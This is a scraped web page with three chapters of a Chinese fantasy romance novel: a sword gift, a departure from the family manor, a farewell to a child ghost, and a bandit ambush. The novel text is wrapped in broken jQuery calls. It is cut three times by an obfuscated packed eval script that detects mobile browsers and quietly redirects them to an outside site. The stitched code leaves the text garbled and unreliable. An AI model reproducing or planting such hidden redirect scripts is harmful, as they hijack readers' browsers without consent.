$(''#content'').append('' 。 他欢喜的不知道说什么才好,先前那抹颓丧一扫而光:“那就说定了,我跟你走,你不要骗我。” 他这样执着的确认一件事,笑起来的时候,才像个十几岁少年毫无心事的模样,灵动幸福。 只是她没有发现,细碎的鬓发之下,少年的眼底一闪而过得逞的寒凉讥诮。 “你还想吃什么,我去给你做,这样,你在路上可以吃很久。”很快那道寒凉消弭无形,又端着一副微笑。 他伸手慢慢摩挲着她被阳光晒得暖融融的脑袋,声音低沉温柔,好像为她做这件事他便很开心。 “不用不用,你……”拒绝的话语刚要出口,就看到他的脸色垮下来,于是他话锋一转,把小精怪报给她的糕点一股脑说了出来。 烛乐点点头,走了几步忍不住回头:“阿祉,你能不能不要给别人吃?” “啊?” “我是说。”他看了看她呆住的脸,指了指一旁的花草,“那些,不可以。” 冉云祉笑了:“好,我自己吃,谁也不给。” 他这才放心的走掉了。 冉云祉重新走到花圃前,就这短短的时间,花圃里已经没有那朵粉白色的虞美人了。 “唉,怕是不能给你们吃了,怕惹人不高兴。”她又在对着空气自说自话。 “说话不算话!骗人!” “我们就要吃,那个男孩子做的糕点比府里好吃多了,你休想吃白食!” 花草精怪叽叽喳喳地晃着脑袋,一个个吃货聚在一起。 她伸出手戳了戳那几个小脑袋,嗔怪:“现在不怕我啦?信不信我把你们通通剪了。” “啊——疯女人又发疯了!” 他们不敢说话了,远处传来银杏树苍老的声音:“小娃娃,你不是之前那个女娃娃了。” 冉云祉站起身,踱步走到银杏树面前,不顾地上的尘土席地而坐:“老爷爷,您最近身体还好吗?” “好多了。” 银杏树妖身上的刻痕还在,但由于冉云祉让人请了有经验的人照顾,再加上没有原身的发泄,所以他最近的日子过得还不错。 这便是被称为活化石的银杏树,按照这枝干的粗细,她想这棵树活了大概有几百年。 她看着,突然问:“您知不知道很久以前,有个被烧死的孩子?” 清云山庄建立也就是这几十年的事,她隐约记得冉言淮曾经告诉她,这棵银杏树原本在泽城里,当时觉得这是一颗灵树才把他移植在庭院。 “那个婴灵吗?”树妖仰天长叹,思绪回到了很久以前,“我知道那孩子,很可惜。人类愚昧无知,总将一切不能解释的事情推到一个手无寸铁的孩子身上。那孩子不是唯一一个,千百年来,死于这样荒诞理由的孩子不知多少。” “难道就没有人站出来吗?他们的父母就不难受吗?”她不忍听下去,在未来,那是一个崇尚科学自由的时代,这样的迷信大多已经消失了,然有些地方的封闭,诸如此类的事情还会存在。 树妖道:“他们的父母不忍心,可是有什么办法呢?他的母亲苦苦哀求,被关在柴房里,放出来时,手上因为敲着门手上全是血。就连他的父亲,也因为这件事悔恨终身。与疯掉的妻子离开那个村落,可惜这也是不被允许的,而后他们就被同类杀害了。” 冉云祉默然,不知道该如何回应。 树妖与她说了好多话,这么多年来,他孤独的矗立在这里,只身俯瞰这小小世界,见一个个精怪接近化灵,又无声的消失在这世间。 它的生命对于人类来说可称的上是永恒,却仍感到孤独。 最后,它的视线望向远方:“小娃娃,妖怪恃强凌弱,若非血恨不会祸及孩童,但人类有时远比妖怪狠心的多,我至今都不懂,你们到底想要的是什么?” 22.云霁(三) 光阴荏苒,转眼数日过去,眼看着秋日将近,天气渐渐转凉。冉云祉醒来的时候,晨光正透过纱帐,洒下淡淡的光晕,让她有片刻的恍惚。 她在山庄的日子过得清闲,平日里与冉夫人冉老爷话话家常,两人见女儿懂事许多很是欣慰。有时她与后院的花草有一搭没一搭聊天,偶尔跑进厨房看烛乐跟着厨师学做吃食,趁他不注意偷偷将时兴的水果塞进他嘴里投喂。 清云山庄仿佛一座世外桃源,她安逸地快要忘记那个魔头。 那只被她叫做雪团的猫儿见她醒了,舔着她的手心。冉云祉满足的将它揉作一团,起身穿衣。 晨光不可废,兴许是太闲了,她来到这里后倒是改掉了赖床的习惯。她随手换了一身藕色襦裙,坐在梳妆台前,梳了个双平髻。 这个简单的发髻她也跟着丫鬟学了好久,她手残,在现代的时候她总是绑一个低垂的马尾,来到这边,若是之前那样肯定是不行的。 在这件事上,她总是羡慕烛乐干净利索的半扎马尾,更羡慕戴苍那慵懒随意的披发。 丫鬟进来看到她自己梳头,连忙放下水盆迎上来:“小姐,我来。” 冉云祉摆摆手:“不碍事,我自己可以的。” 还有三天就是离开山庄的日子,这些事情以后都得她自己来,不能再假手于人了。 等到她终于梳的满意了,向桌子上望一眼,摸了摸那长长的雕木长盒,微微弯起了嘴角。 总归时间来得及。 自从烛乐确认了要跟他们结伴同行,他的日常就只剩下两件事,一件事是在厨房准备路上的糕点,另一件事是跟着冉云清与戴苍练剑。 这个时辰,他还在后院练剑才对。 “剑不是这样握的,出招要又轻又快,要下手狠,如果你还是这样软绵绵的招式,死几次都不够。” “这里错了,再来。” 冉云祉走近花厅的时候,便看到院子里的三道人影,戴苍一只手咬着桃花酥,一手懒洋洋持木剑,不动声色地仅用一招就将少年挥出的剑击到一边,烛乐被他的动作带到一边,发丝在空中划了一个漂亮的弧线。 这时她听到冉云清略显无奈的声音:“师兄,他还是个新手。” “新手怎么啦?想当年,这招我这三天就学会了。”戴苍很会顺着杆子往上爬,自卖自夸,游刃有余又接下烛乐的一招。 他啧啧:“你还太嫩,这点功夫跟随我们闯荡江湖岂不是送死。” 这世上总有一些天赋异禀的人,又很聪明,并不需要太多努力,短短几年就能赶上普通人十几年甚至一辈子的高度,他们被称为天才。很显然,戴苍就是这样的人。 但天才少之又少,更多的是像冉云祉这样从头到尾普普通通没什么亮点的一个人。 不嫉妒,冉云祉相信“天生我材必有用”,从不妄自菲薄,平平安安度过一生也没什么不好。 于是她时常坐在一旁的石凳上,看着冉云清与戴苍一白一金两道影子交织,露出崇拜的目光,今日也是如此。 戴苍走到石桌上端起茶盏喝了一杯润了润嗓子,轻笑:“二小姐是不是被我这身手迷住了?” 他又在开玩笑,冉云祉想起与他们提起要带烛乐一起离开的时候,两人一脸惊讶与不可置信,戴苍当时笑她是不是看上人家了,冉云祉理直气壮地反驳是因为吃的,惹来他夸张的大笑。 比起姐姐冉云清,他看起来并不可靠,但她不得不承认,他的功力是这几人中最厉害的那一个。 虽然他话语里时常打击烛乐,又爱说些玩笑话,但他教的认真,烛乐也学的认真。 所以,冉云祉还是对他露出了一个感激的笑容,但几乎是瞬间便察觉到一道目光幽幽地望过来。 烛乐一身白色劲装,因为练剑胸口稍稍起伏,呼吸微喘,平日如雪般白皙的脸上染上了一丝薄红,整个人看起来生动了许多。 她向烛乐招招手,一边笑着反击:“三殿下学三天那是因为师父教得好,徒弟学不会,你这个师父为什么不反思自己?” 一边从怀里拿出准备好的木盒,对烛乐微笑:“送你一个礼物,看看喜不喜欢。” 先前送他的匕首已经被无乐门主毁坏了,她说过要送他一个更好的。 烛乐端详着手里这把剑,剑柄是青色的,让人想起三月江南细雨朦胧,温润如玉,但剑出鞘时,像银白色的闪电划开雨幕,锋芒尽显。任谁也不会想到这样柔软的颜色内里却是一把如此锋利能夺人性命的利器。 微风轻轻吹了一缕头发拂过剑身,一下子断成两节。 剑身上映照出他永远稚嫩的面庞,可是他眼底弥漫的大片大片惊愕照的明明白白。 一直压抑的情绪自心头涌起,寒意逐渐流遍四肢,冻得他浑身止不住的发颤。不可能,这里又不是寒潭,他也没有泄露半分内力,他不会觉得冷才对。 “是把好剑,削铁如泥,也就比长风回雪稍逊三分吧。”模模糊糊中,耳畔听到戴苍这样评价。 冉云祉拍拍胸脯,得意地回道:“那当然,我专门请了铸剑师重金打造的,专为他设计的,我们烛乐以后也会成为一代大侠,你小心被赶上了。” 一代大侠…… 他像是被一块巨石击中,瞬间失去了所有反抗的力气,仿佛被黑色的光影笼罩其中,早已结痂的伤口硬是被硬生生划开,鲜血在身体内乱窜,胸口都痛得发颤,有什么已经死去的东西在身体里叫嚣。 你配吗?你配称之为大侠吗?他问自己。 行走江湖的知名侠客,佩剑如同自己的兄弟,剑在人在。他看着一直跟随自己的佩剑碎裂成几截的时候,他的侠心已经破碎了,一起死去的,还有他所有的善意与感情。 原来他一直在欺骗自己,伤口一直在溃烂从未愈合过,只是他隐藏的很好。 温柔的触感擦拭着自己的额角,原来不知不觉间,他已经流了那么多冷汗。面前的女孩用带着她体温的手帕仔细的帮他擦掉额头的汗,又用手拨开他两边沾湿的鬓发,眼底里带着浓浓的关切。 “你已经很厉害啦,慢慢来。” 他没有动作,身体崩成了一条直线,眼神逐渐清明,专心致志地盯着她看。 初见她时并没有觉得她有多特别,她的发髻梳的歪歪扭扭,却并不是刻意,而是自然和谐。她的眼睛怎么那么亮,不同于以往他见过的任何一个女子,没有爱慕、柔媚、算计,里面只有能融化所有寒冰一般的温柔,不掺杂一丝恶念。 此时,她的眼里还有完完整整的一个他。 但又想到这双眼里还映照过冉云清、戴苍,还有冉氏夫妻、婴灵、甚至还有那个肮脏的老乞丐,或许之后还会有更多的人…… 想到她就是这样一个随意施舍同情心,看什么都很美好,对谁都抱有善意的人,他心头就一阵烦躁。 如果,这双眼里只有他该多好。他的眼睫垂下来,遮住了眼底的一丝贪恋,在情绪泄露出来之前隐藏起来。 “好了,又是清清爽爽的一个你了。”她替他擦干净额头,又将他上上下下打量一遍,白衣少年多了一把佩剑,柔和的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14543923|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉终于镀上一层锐利的光,看上去更像是侠客了,她不住的点头,“确实很配。” 说着,她拉着他的手,将他拉到石凳前,“来,先不练了,吃点东西补充体力。” 戴苍与冉云清默默地交换了一个暧昧的眼神,一切尽在不言中,安静当吃瓜群众。 他摸着手里的佩剑,眼里终于恢复了神采:“它有名字吗?” 冉云祉犹豫了一下:“我是给它想过一个名字的,但我觉得还是留给你自己来取比较合适,以后它就是你的了。” “我想听你说。”他很固执,执意想听听她的想法。 冉云祉奇怪他的态度,不过还是将想法说出来:“雨霁。” 雨过天晴,不论过去曾经多么不如意,扫清过往所有阴霾,此后都是崭新的开始。 他怎么会不懂这个名字的意思?他觉得很好,刚要同意,脑海里突然涌上一股别样的记忆。 她是个奇怪的人,与旁人看星星看月亮或者黎明不同,冉云祉喜欢看云,白云、火烧云、乌云,什么都看,有时对着长空万里的天冥想,有时还抓他过来一起看。 “你看那朵云像什么?像不像你?”她话说的很夸张。 他莫名其妙仔细看了半晌,然后略有些恼怒,暗忖浪费时间跟她做这些莫名其妙的事。 “因为很白啊,就像穿着白衣的你,难道不像?” 云是最捉摸不定的,有着千奇百怪的形状,他见过两朵反方向飘来的云交汇成一朵,有时一朵云又分成无数碎块,奔向不同的远方,不知是否还有重逢之日,或者永世相忘。 云又像偌大的江湖,无声见证人世相聚又分离,呈现悲欢离合,世间百态。 “云霁。”他收回思绪,低下头想了很久,才缓缓说道,“就叫云霁。” 如今他更想这朵飘渺不定的云此后都只为他而停留。 不会有不可掌控的存在。他决定留下一个人,会不择手段的将她捆在身旁,哪也不许去,谁也不能觊觎。 若想他放手,那就等他腻的一天,对她失去兴趣,再狠狠把她丢弃。 她眼中洁白无瑕的他,剥开来却是有着想独占她的晦暗心思的乌云,若是被她知道了,她该是什么反应? 冉云祉默默念了几遍,觉得大差不差,并没有反对,而一旁的冉云清与戴苍倒是像发现了新奇的事情。 “阿祉,你……” 她话还没说出口,烛乐打断了对话,对戴苍抱拳:“三殿下,我们重新练剑吧,这一次,我一定好好学。” 戴苍指着他惊道:“你就不累吗?” “阿祉送了我这把剑,不能给阿祉丢脸。”他说得乖巧,眸中杂念全无,好像真的就只是为了这样。 冉云祉鼓掌:“说得好!有志气!” 烛乐回头对她微微一笑。 “你就惯着他吧。”戴苍摇头,向着烛乐勾了勾手,“来。” 话音落下,一道剑气疾至,挥开厚重薄雾,不同于刚才柔弱无力,白衣翻飞,剑招凌厉,浑然天成。 他已经许久不曾用剑,自认已经失去拿剑的资格,奇怪的是,这次他心里没有乱七八糟的东西干扰,虽然恢复不到当初的状态,但这种感觉当真久违了。 戴苍收敛了玩笑的神色,目光一凛。 “有长进。” 不远处的冉云祉直直地看着那道随着剑招的变化而变幻的白色流光,长发绽开,身姿翻飞,惊鸿一瞬。 少年轻狂,傲雪凌霜,当时年少春衫薄,自此,一袭白衣入了心。 23.云霁(四) 很快到了下山的前一天,冉夫人一边检查女儿们离开时所需的东西,生怕准备的不全,一边悄悄抹眼泪。 “阿祉,这一去一定要小心,出门在外,长姐如母,做事前问问你姐姐的想法。娘不求你像你姐姐一样修道名震天下,只求你开开心心的活着,平平安安的回来。” 像所有游子要出远门的母亲一样,冉夫人心疼女儿,可同样也知道两个女儿为的是苍生黎民,她不能自私,只能舍下小家,无论如何神物不能落入魔头之手。 冉云祉眼眶也有点潮湿,故作轻松道:“我会的,娘,您也好好保重身体,往后天冷了多穿点衣服,您身体不好,不要着凉了。等女儿回来……再来孝敬您。” 冉夫人看了她一会,牵着她的手语重心长道:“阿祉,娘也不得不提醒你一句,关于烛乐那孩子的事情。” “本来为娘觉得这孩子长的还不错,人也老实,待你也不错,日后你和他在一起也不会受欺负。但你爹怎么看都不满意,说他小小年纪胸有城府,这也不会那也不行,娘想问问你……” 冉云祉神态自然,没有任何惹人遐想的神情:“唉,娘,您想多了,我对他好只是当他是朋友啊,别的什么也没想。” “真没想?那你还让厨房给他做吃的补身子,还求着你爹拿了不少银子,转头就给他铸了一把剑,为这事你爹可没少抱怨。还有,前几日他练剑的时候,你都看呆了吧?阿清可什么都告诉我了。”冉夫人一副过来人的样子。 冉云祉捂着脸:“姐姐怎么什么都说。” 冉云清与冉夫人的关系可谓一日千里,经常看到母女二人在花园里散步,彼此分享着悄悄话,与一对真正的母女没什么分别。 或许在潜意识里,冉云清已经把她当做了自己的亲娘。 “就算不说,娘看不出来吗?你现在不急,等他出去见到了别的女人,心思多了不在你身上了,你就等着后悔吧。”冉夫人恨铁不成钢。 冉云祉的手有一搭没一搭的摸着雪团柔软的毛,笑道:“娘,您先操心姐姐的婚事吧,您怎么不想想,我如今见到的男子就那几个,万一在外面见到了更好的男子呢?” 冉夫人刮了下她的鼻子:“那一定带回来看看,你心思单纯,外面男人花花肠子可多,不要被骗了,还是让娘瞧瞧。” 冉云祉笑着开玩笑:“娘,您放心好了,到时候一定给您带回来。” 冉夫人只笑,再也没有说话。 清云山庄周边青山连绵,远处连绵不断的翠绿的树叶染上了秋意,成熟的果子坠满枝头,空气里不时传来清爽的果香。 第二日是个晴天,冉氏夫妻指挥着下人将行李搬运上马车,戴苍觉得比较麻烦,还是决定骑马轻松自在,冉夫人红着眼交代着什么,回神时四下不见冉云祉与烛乐。 “阿祉呢?” 丫鬟来回话:“小姐说怕老爷夫人分别时哭的难受,所以先下山等着大小姐与三殿下了。” “这孩子还是这么任性……”冉言淮叹口气。 冉云清笑道:“爹,娘,女儿这就走了。” 直到他们真正走出清云山庄的范围,两道相互搀扶略显沧桑的背影还站在原地,直到两人骑着马转入下一片树林,渐渐隐没在两旁泛着黄的秋叶里,冉云清一直隐忍的眼泪还是掉下来了。 不过是最寻常的关怀,每一个孩子来到这个世界得到的第一份爱,却是她一直渴望却从未拥有的。原来有父母是这样的感觉。 这短短的时日,让她苦涩又甜蜜,她不得不感谢这一段奇遇。 戴苍紧紧地握着缰绳,声音轻柔:“以后还会回来的,嗯……我会陪你一起回来的。” 冉云清策马与他并肩,这么短的时间内,她已经收拾好了自己的表情,呆呆望着已经有些熟悉的景色,初晨的微风拂过她微翕的双眼。 “师兄。”她转移话题,并不回应他这份期待,“上次你想对我说什么?” 她指的是上次遇到黑衣人的未来得及说的话,戴苍看了她故作平静的神色,轻轻说着:“没什么,我已经知道答案了。” 冉云清很想问为什么,但又觉得自己并没有什么立场去问,他看起来一脸无所谓,可是声音里却总有一些苦涩与无可奈何,于是她也就不问了。 一时两人无话,只剩下马儿行走踏过泥土路的声响。 戴苍从一旁的包袱里掏出几个糕点,递到她嘴边:“吃吗?烛乐的手艺还真不错。” 她怔了怔:“那不是他做给阿祉的吗?” 他一点也不客气,丢到冉云清怀里,她接过来,那边已经吃上了:“他认我做师父,我吃他几块糕点怎么啦?整天宝贝的跟什么似的。” 他吃了几个觉得不够,干脆把那个包袱拿到身边,丝毫不管烛乐知道后会不会生气。 “他也是用心。”冉云清忍不住笑道。 “就是不知道安的是什么心。”他快速的回了一句,“这样也好,呆在我们眼皮底下,方便观察。” “其实……师兄不必陪我的。”她突然又开口了,声音变得很低。 戴苍咽下糕点,又喝了几口水,舒服的打了个饱嗝,拍了拍手,才散漫的倚靠在马背上,笑意盈盈:“人活一世,重要的是活的舒心。有些遗憾总要弥补的。” 她不懂这句话的意思,迷惘的看着他。戴苍补充了一句:“有句话叫做,殊途同归,师妹,与你多走一段路也是好的。” * 冉云祉已经在古树下站了许久了,她抬眼看向天空,朝阳已至半空,阳光洒满树梢,温度回升,连同周围的薄雾都渐渐隐去了。 是一个很好的天气,可是她的眉头越皱越紧。 “你再不出现,下次可就见不到我了呀。” 没有人回答她,只有枯黄的树叶自空中飞旋落下,有几片落到了她的衣摆上。 不远处,年轻的妇人抱着孩子,笑的脸上都是泪花:“小陈乖,小陈不怕。” 冉云祉眨了眨眼,露出了一个笑容。呆了半晌,突然觉得自己很傻。 他可是说过了,自己只会在阴雨的薄雾中出现,现在艳阳高照,原本浓密的树叶都快掉光了,连半片树荫也不见,她在等什么? 她想了想,从地上捡了根树枝,慢慢蹲在树下写字,一边喃喃自语:“不知道你还在不在这里,如果有缘看到这些的话……” “姐姐在写什么?”一声稚嫩的童音响起,冉云祉接道:“给小孩子留个消息。”她的手突然顿住,似乎不敢相信般抬起头。 婴灵还是穿着那身粉色的衣裳,不知何时来到她身旁,此刻正蹲在她身边看她留下的字,但是看了半晌抬起头来沮丧道:“姐姐,我不认识这些字。” 她眨眨眼,有些不敢置信:“你还在呀?” 婴灵抬头望向不远处的屋檐之下,那边生了一片矮灌木丛,白色衣襟在枝叶间隙若隐若现,他瘪瘪嘴轻声说:“我也没想过我还在的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14573675|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他有很多话想告诉她,可是那个人却给他下了止音咒,让他对于这些事一个字都说不出来,于是他只能问:“姐姐是在找我?” 冉云祉突然握住他的手:“其实,你的父母真的很爱你,可是他们有不得已的苦衷,他们也希望你会幸福。” 有行人经过,看到了树下自言自语的她,摇着头说这姑娘看起来清清爽爽的,脑袋却好像有问题。 她不管,自顾自说了好多,将银杏树妖告诉她的一切一股脑告诉了他,婴灵蹲在树下,静静地听她说话,自始至终都没有打断,好像在听别人的故事。 “我要离开这里了,你要是无聊了,可以去清云山庄,那里有许多精怪,还有一棵银杏树妖,他们很热闹,在那里你一定不会孤单。他们都会成为你的家人,你的父母也一定希望你过的好一点。” 婴灵听完最后一句话,站起身来,静静地看了她一会,突然扑到她的怀里,只是冉云祉却没有任何感觉。 “我的时间不多了。姐姐,谢谢你。” 树下再也没有人了,冉云祉完成心头大事,神色轻松的走到路边,等着与冉云清他们汇合。 等到婴灵回到自己身边,烛乐正抱着双臂靠在墙边,依然是一副淡淡的神色,与最初见他时不同,换下一身布衣的他一尘不染,此刻的他越来越像一个正派少侠。 “我以为你早就把我吞掉了。”婴灵的身体渐渐透明,在日光下他并不能维持太久,但因为解开了许多年他害怕得知不敢去碰触的真相,他并不觉得难受,连带着看他也不觉得穷凶恶极了。 烛乐这才扭过头看了看他,把他收回行囊,重新封印起来:“只是完成她的一个心愿而已,省的她一直记挂着你,这样最好,很快她就会把你忘掉了。” 他说话的时候,那股阴鸷冷厉的感觉又回来了。 “其实你心软了吧?”婴灵最后一句话渐渐小了,当他还是听清了。 烛乐像被踩到了痛处,矢口否认,喃喃道:“只是暂时用不上你。” 可是没人听到他这一句话。 暂时用不上他,他也不知道为什么,在发觉她心不在焉时,他就很想看看她想做些什么。她在这里等了一个时辰,大有等不到就不离开的架势。 “人生寄一世,奄忽若飙尘……” 远处的她哼着他没听过的轻柔歌声,俯下身悄悄的向路过的松鼠精怪打招呼,短短时间内就已经聊起了天,阳光落在她弯起的眼睛里,散发着阵阵暖意。 她好像对所有人都这么好,只是这份好不单单为他。 她鬼鬼祟祟,左看右看,一会从怀里掏出来一块米糕,做贼似的小声说:“好嘛好嘛,就给你一点……怎么说我小气,我答应了人不能乱送的……不行,你再这样,我不给你了……” 很好,答应他的话又作废了,她根本是个彻头彻尾的小骗子。 “阿祉,你又乱跑。”远处那个长的与她相像的女子向她招手,她愉快笨拙的努力跳上马,看起来还不熟练,等她终于坐好了,四下环顾,但随即又皱起了眉头。 “烛乐呢?” “他没有跟你在一起?”戴苍有些诧异,随即视线开始向周围乱瞟。 烛乐拿好一旁的纸袋,从灌木后走出来,向着那一行人走去。 无论如何,事情出现了一点点差错,但没关系,他不会再出现第二次意外了。 东方烈海深处,鲛人泪。这一次,他胜券在握。 24.抢匪 从清云山庄一路东行,越过熙熙攘攘的繁华长街,翻过荒无人烟的寂静山林。 江湖旅人并不肆意潇洒天地间,各中辛酸并不为外人道,天地为被、四海为家的生涯远比锦衣玉食要艰苦的多。 烟雨飘摇,残阳风潇,马蹄践踏枯荣野草,衣摆发丝随秋风飘荡,掀起粉白女子带着斗笠的帘面,露出一双略显颓丧的面容。 冉云祉的手在包裹里翻找,只剩下一点硬邦邦的干粮,她气若游丝地望向冉云清:“姐姐,只剩下干粮了,我们真的一点吃的也没有了吗?” 冉云清仰天长叹一口气:“阿祉,很快我们连干粮也吃不起了。” 这话的杀伤力比见到干粮见底还要可怕,她无力地伏在马背上:“我已经三个时辰没吃东西了……烛乐烛乐,我饿……” 这一路上多亏有他,没有客栈茶楼歇脚的时候,都是他寻了山间亦或是河流里的野味做成食物,才得以支撑他们走到这里。 见她如此颓丧,烛乐摸向随身的包裹,从里面堪堪找出几块米糕,这还是他不怎么爱吃甜食以至于剩下的。 “只剩这些了。” 冉云祉眼睛亮了起来,但触及他略显疲惫的神情,不好意思地推了回去:“算了,你这一路吃的更少,还是你吃,我可以忍忍的。” 说好了养着他,如今却成了他投喂自己。 少年不由分说,还是塞进她的手里:“我不爱吃这些。” 戴苍掀起眼皮,懒洋洋道:“还不是因为二小姐太能吃了,一点也不会过日子。看吧,不听你姐姐的话,把我们吃穷了吧,我倒看看是哪个家伙会这么倒霉把你这只小饕餮娶回去哦。” 原本饿得没有精力说话的女子猛的坐起来,指着他悲愤控诉道:“三殿下好意思在这说风凉话么?还不是因为你把大部分糕点都偷吃了!” 她越想越生气:“还有,说什么难得出来一趟要吃最好的住最好的,若非如此,我们怎会坚持不到烈海就要饿死了。” 他们原本是有银子的,奈何队伍里一个吃货,一个花孔雀,出了门如同脱缰的野马,在外胡吃海喝,看什么都新鲜。 至于两个勤俭治家的,一个懒得管,一个根本不敢管。 钱财挥霍一空,几人只能忍痛,如今只剩下荷包里零星几颗银子,戴苍还十分潇洒地说什么“这才是走江湖该有的模样啊。” 她特别想怼他一句,先把身上那价值不菲的大红袍脱下来再说这话。 两人一路拌嘴苦中作乐,那两人偶尔回应几声,流浪生活才显得不那么凄惨。 眼看冉云清瞥来警告的一眼,戴苍笑嘻嘻道:“你看她还有功夫与我拌嘴,看起来并没有很饿嘛。” 说罢他难得正经的立起身子:“不远了,忍着吧,天黑之前应该能到的,等到了烈海,去看看能不能找点吃的。” 话音刚落,马儿发出一声嘶鸣。正前方原本寂静无人的山林里,站了几条凶神恶煞的彪形大汉。 大汉一字排开,手里握着森冷刀剑,像一堵密不透风的墙,拦住了几人前行的道路。 天穹变得暗淡,刀光在夕阳的余晖下泛着冷冷的寒光。 “哪个门派,还是山贼?”戴苍勒住缰绳,好整以暇地看着大汉,语气轻松寻常。 “你为什么能把这两类人相提并论……” 离开清云山庄势力范围,作为散客游侠,他们竟遇到几次小规模追击。或是一些寻着灵泉玉而来的不知名门派,或是一些落草为寇打家劫舍的山贼强盗。 眼前这穷山恶水处,杀人放火处理尸体都变得简单,最容易滋生山贼。 这就是江湖,处处都是明争暗斗,刀光剑影。 冉云祉从最初的担惊受怕,到逐渐习惯,反正他们打起来,她只要躲到一边不要给他们添麻烦就好。 “兄弟们最近手头紧,正想讨点银子花花,没想到刚有这念头就有人送上门来。”为首那人戴着黑色高帽,长的肥肉大耳,满面油光,他向前一步,打量着几人,那贪婪下流的眼神几乎要黏到他们身上去。 面前的这四人,两个貌似天仙的柔弱小娘子,一个长的比女人还要美艳的红衣公子,再加上一个干净的白衣俏郎君,各有千秋,皆是人间极品,他一想便蠢蠢欲动。 更何况这几个人,看上去就没什么攻击性。 一道暗光自冉云清眸中闪现,她懒得与强盗对话,回雪剑顷刻出鞘。 强盗看到这一幕却嘻嘻笑道:“呦,娇滴滴的美人喊打喊杀岂不是埋没了这张脸,不如跟了我,爷爷我怜香惜玉,保你过的舒爽。” 说罢,他不怕死的对着戴苍与烛乐抛了个媚眼:“两位公子也莫要嫉妒,这山头的压寨夫人,你们也有份。” 啧啧,这里到底是多荒废啊,连男人都不放过。冉云祉心说。 戴苍冷哼一声,只见他身影一晃,马背上只见一道鲜红的残影,向前方疾奔而去。 回雪剑也不再等待,大汉们下意识用刀去当,短兵相接。 冉云清经过这一路的历练,已经有初入江湖的侠女风范,灵泾山唯一的女弟子岂是庸碌之辈? 她身姿灵巧,如一只柔韧有余的燕,在刀光中灵巧的穿梭,一袭白衣翩然,未等到戴苍出手,几个回合,山贼已经被押在地上,以头抢地,哭爹喊娘。 戴苍踢了那领头山贼一脚,笑嘻嘻道:“压寨夫人?这么说,你看中我啦?” 他明明笑的张扬,甚至没有出剑,可是那笑容无端让人脊背生凉。 “哪敢呀,爷爷,我那都是乱说。”山贼脸色发青,一个劲摇头,两股战战:“饶了我们吧……” “爷爷?我年纪很大?”他又踹了那山贼一脚,十分不悦。 冉云祉坐在马背上,眼睛转了转,像个大姐头一般喊着:“想我们饶了你们也可以,交出你们身上的银子来!” 几人风中凌乱,这气势,跟个下山的女土匪没什么区别。 有人还煞有介事地捧场,烛乐在她身后加了一句:“对,交出银子来,否则那两位动动手指就送你们上西天!” 他说这话的时候声音刻意压的很沉,只是他那张脸太过纯良无害,让人察觉不到一丁点威胁。 近墨者黑,这小孩终究还是被带坏了…… “胡闹!”一身正气的冉云清黛眉微蹙,在她看来,还是把这几人结果了,以除后患。 “就是,咱们可是正经人,为民除害的。”负手而立的戴苍冷嗤了一声,转头看向跪在地上吓得屁滚尿流的山贼一眼,凤眸微挑,“母夜叉说话都不听,想死啊?” 冉云祉提高了几个音量:“说什么呢花孔雀!” 戴苍却笑着看那伙强盗,那张脸上带着可亲的笑颜,可落在强盗严重犹如催命的厉鬼,如血的残阳照的他的红衣如同沾满了鲜血。 他话音落下,那强盗几乎是立即行动了起来,几双手伸向了腰包,将身上值钱的东西搜刮干净,甚至脚底板藏的铜钱也拿出来捧上去。 戴苍却不接那些,挑过大头拿起来颠了颠,里面约摸三四十两银子。于是身份尊贵的三皇子露出了一个眉开眼笑的微笑:“世人都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14623197|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晓神仙好,只有金银忘不了,今晚住宿吃饭有着落了,肉啊……想死我了。” 冉云清怔怔地望着这比强盗还不讲理的三人,无奈的叹了一口气,用剑抵在两人的脖子上冷声道:“今日就放你们一条生路,若你们再行这杀人越货之事,我们是断不能再饶过你们的。” 山贼们哪敢再说什么,赶紧求爷爷告奶奶的滚远了。 暮色四合,几人一扫之前的颓废,快马加鞭,在天色完全暗下来的时候,顺利来到海边一处小客栈歇脚。 近海唯一不好的地方便是食材多为海类,戴一说上特色招牌,端来的全是当地著名海产。 冉云祉并不习惯这里的口味,草草吃了几口便再也吃不下了。 一个吃货填不饱肚子的结果便是睡到半夜,被腹中饥饿生生饿醒。冉云祉忍了又忍,终究无法再次入睡,索性从床上爬起来,下楼去寻些吃的。 此处近海而生,天边坠着无数星子,站在客栈二楼向外看去,黑压压的海水卷着浪潮拍拍在岸边,带来潮湿萧瑟的秋意,冉云祉不仅裹紧了身上的外袍。 夜色深沉,客栈外长空暗淡,唯有此处的大堂内燃着为数不多的几缕光。几个晚归的客人醉倒在桌子上,嘴里喃喃说着醉言醉语,清醒着的客人沉默着望向窗外无尽的深海。 